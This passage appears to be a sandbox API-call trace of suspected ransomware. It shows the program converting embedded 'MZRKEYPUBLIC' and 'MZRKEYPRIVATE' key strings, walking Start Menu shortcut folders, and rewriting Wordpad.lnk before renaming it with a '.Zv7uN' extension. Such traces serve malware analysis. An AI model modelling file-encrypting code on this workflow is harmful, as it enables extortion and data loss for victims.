lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.807] GetCurrentThreadId () returned 0xa30 [0131.807] GetCurrentThreadId () returned 0xa30 [0131.807] GetCurrentThreadId () returned 0xa30 [0131.807] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.807] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0131.807] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.808] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x52a [0131.808] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.808] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x52a, lpOverlapped=0x0) returned 1 [0131.812] CloseHandle (hObject=0x1e8) returned 1 [0131.812] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.814] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x52a, lpOverlapped=0x0) returned 1 [0131.816] CloseHandle (hObject=0x1e8) returned 1 [0131.817] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk.zv7un")) returned 1 [0131.818] GetCurrentThreadId () returned 0xa30 [0131.818] GetCurrentThreadId () returned 0xa30 [0131.818] GetCurrentThreadId () returned 0xa30 [0131.818] GetCurrentThreadId () returned 0xa30 [0131.818] GetCurrentThreadId () returned 0xa30 [0131.818] GetCurrentThreadId () returned 0xa30 [0131.818] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d25b9f8, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d25b9f8, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d2cde19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Wordpad.lnk", cAlternateFileName="")) returned 0 [0131.818] GetLastError () returned 0x12 [0131.818] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0131.819] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62c96ce0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x62c96ce0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0131.819] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0131.819] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.819] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62c96ce0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x62c96ce0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0131.819] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.819] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.819] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1 [0131.819] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.819] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.819] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0131.820] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0131.820] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec0a7698, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec0a7698, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0131.820] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0131.820] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0131.820] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89bce0a9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bce0a9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Speech Recognition.lnk", cAlternateFileName="SPEECH~1.LNK")) returned 1 [0131.820] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0131.820] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0131.820] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Speech Recognition.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\speech recognition.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89bce0a9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bce0a9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x56c)) returned 1 [0131.821] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Speech Recognition.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\speech recognition.lnk")) returned 0x20 [0131.821] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Speech Recognition.lnk", dwFileAttributes=0x80) returned 1 [0131.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0131.826] GetCurrentThreadId () returned 0xa30 [0131.826] GetCurrentThreadId () returned 0xa30 [0131.826] GetCurrentThreadId () returned 0xa30 [0131.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 